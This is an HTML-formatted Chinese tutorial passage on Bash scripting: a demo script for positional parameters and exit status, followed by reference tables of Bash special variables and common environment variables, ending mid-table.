&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;The first two arguments are &lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt; and &lt;/span&gt;&lt;span class="nv"&gt;$2&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516133425998" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516133425998.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 文件名: demo_script.sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 功能: 演示常用 Bash 参数的用法&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 1. 打印脚本名称&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;脚本名称: &lt;/span&gt;&lt;span class="nv"&gt;$0&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 2. 打印前三个参数（若未传递参数则显示空）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;第一个参数: &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;1&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="nv"&gt;未提供&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;第二个参数: &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;2&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="nv"&gt;未提供&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;第三个参数: &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;3&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="nv"&gt;未提供&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 3. 打印总参数个数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;参数总数: &lt;/span&gt;&lt;span class="nv"&gt;$#&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 4. 打印所有参数（带循环）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;所有参数:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; arg in &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$@&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; 参数&lt;/span&gt;&lt;span class="nv"&gt;$count&lt;/span&gt;&lt;span class="s2"&gt;: &lt;/span&gt;&lt;span class="nv"&gt;$arg&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;((&lt;/span&gt;count++&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 5. 测试上一个命令的退出状态&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;生成随机数（测试退出状态）:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;随机数: &lt;/span&gt;&lt;span class="nv"&gt;$RANDOM&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;生成随机数的退出状态: &lt;/span&gt;&lt;span class="nv"&gt;$?&lt;/span&gt;&lt;span class="s2"&gt; (0表示成功)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 6. 故意执行一个失败的命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;执行一个失败的命令:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;ls /non_existent_file
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;失败命令的退出状态: &lt;/span&gt;&lt;span class="nv"&gt;$?&lt;/span&gt;&lt;span class="s2"&gt; (非0表示失败)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 7. 用户和主机信息&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;当前用户: &lt;/span&gt;&lt;span class="nv"&gt;$USER&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;主机名: &lt;/span&gt;&lt;span class="nv"&gt;$HOSTNAME&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 8. 显示脚本当前行号（动态变化）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;当前行号（执行前）: &lt;/span&gt;&lt;span class="nv"&gt;$LINENO&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;当前行号（执行后）: &lt;/span&gt;&lt;span class="nv"&gt;$LINENO&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 9. 结束提示&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;脚本结束于行号: &lt;/span&gt;&lt;span class="nv"&gt;$LINENO&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516134013667" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516134013667.png"&gt;&lt;/p&gt;
&lt;h3 id="bash-特殊变量"&gt;&lt;strong&gt;Bash 特殊变量&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;变量名&lt;/th&gt;
 &lt;th style="text-align: center"&gt;作用&lt;/th&gt;
 &lt;th style="text-align: center"&gt;示例代码&lt;/th&gt;
 &lt;th style="text-align: center"&gt;输出示例（假设场景）&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$0&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;当前脚本文件名&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;脚本名: $0&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;脚本名: ./test.sh&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$1&lt;/code&gt;-&lt;code&gt;$9&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;脚本的第1到第9个参数&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;参数1: $1&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;若执行 &lt;code&gt;./test.sh hi&lt;/code&gt; → &lt;code&gt;参数1: hi&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$#&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;传递给脚本的参数个数&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;参数总数: $#&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;若执行 &lt;code&gt;./test.sh a b&lt;/code&gt; → &lt;code&gt;参数总数: 2&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$@&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;所有参数，每个参数独立（推荐使用）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;for arg in &amp;quot;$@&amp;quot;; do echo &amp;quot;$arg&amp;quot;; done&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;循环打印每个参数&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$*&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;所有参数，合并为一个字符串&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;所有参数: $*&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;所有参数: a b c&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$?&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;上一个命令的退出状态（0为成功）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;ls /tmp; echo &amp;quot;状态: $?&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;状态: 0&lt;/code&gt;（若目录存在）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$$&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;当前 Shell 进程的 PID&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;PID: $$&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;PID: 12345&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$!&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;最后一个后台进程的 PID&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;sleep 10 &amp;amp;; echo &amp;quot;后台PID: $!&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;后台PID: 6789&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$_&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;上一个命令的最后一个参数&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;ls /var; echo &amp;quot;$_&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;/var&lt;/code&gt;（假设 &lt;code&gt;ls&lt;/code&gt; 命令的参数是 &lt;code&gt;/var&lt;/code&gt;）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$RANDOM&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;生成一个 0-32767 的随机数&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;随机数: $RANDOM&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;随机数: 18492&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$LINENO&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;当前脚本中的行号&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;当前行: $LINENO&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;当前行: 15&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$FUNCNAME&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;当前函数名（数组，&lt;code&gt;${FUNCNAME[0]}&lt;/code&gt;为当前函数）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;function test_fn { echo &amp;quot;函数名: ${FUNCNAME[0]}&amp;quot;; }; test_fn&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;函数名: test_fn&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$SECONDS&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;脚本已运行的秒数&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;运行时间: $SECONDS秒&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;运行时间: 5秒&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$PWD&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;当前工作目录路径&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;当前目录: $PWD&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;当前目录: /home/user&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$OLDPWD&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;上一个工作目录路径（&lt;code&gt;cd -&lt;/code&gt;切换时会更新）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;上一个目录: $OLDPWD&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;上一个目录: /tmp&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$IFS&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;输入字段分隔符（默认是空格、制表符、换行）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;IFS=:; echo &amp;quot;拆分: $*&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;若参数为 &lt;code&gt;a:b:c&lt;/code&gt; → &lt;code&gt;拆分: a b c&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$BASH_VERSION&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;Bash 版本信息&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;Bash版本: $BASH_VERSION&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;Bash版本: 5.1.16(1)-release&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$PPID&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;父进程的 PID&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;父进程PID: $PPID&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;父进程PID: 1234&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$BASH_SOURCE&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;当前脚本的路径（数组，&lt;code&gt;${BASH_SOURCE[0]}&lt;/code&gt;为当前脚本）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;脚本路径: ${BASH_SOURCE[0]}&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;脚本路径: ./test.sh&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="常用环境变量"&gt;&lt;strong&gt;常用环境变量&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;变量名&lt;/th&gt;
 &lt;th style="text-align: center"&gt;作用&lt;/th&gt;
 &lt;th style="text-align: center"&gt;示例代码&lt;/th&gt;
 &lt;th style="text-align: center"&gt;输出示例&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$USER&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;当前用户名&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;用户: $USER&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;用户: ubuntu&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$HOME&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;当前用户的主目录路径&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;主目录: $HOME&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;主目录: /home/user&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$PATH&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;可执行文件的搜索路径&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;PATH: $PATH&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;PATH: /usr/bin:/bin&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$SHELL&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;当前 Shell 的路径&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;Shell: $SHELL&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;Shell: /bin/bash&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$LANG&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;系统语言设置&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;语言: $LANG&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;语言: en_US.UTF-8&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$TERM&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;终端类型&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;终端类型: $TERM&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;终端类型: xterm-256color&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$EDITOR&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;默认文本编辑器&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;编辑器: $EDITOR&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;编辑器: vim&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$UID&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;当前用户的 UID&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;UID: $UID&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;UID: 1000&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$GROUPS&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;当前用户所属的组（数组）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;组: ${GROUPS[@]}&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;组: 1000 4 24&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$HOSTNAME&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;系统主机名&lt;/td&gt;
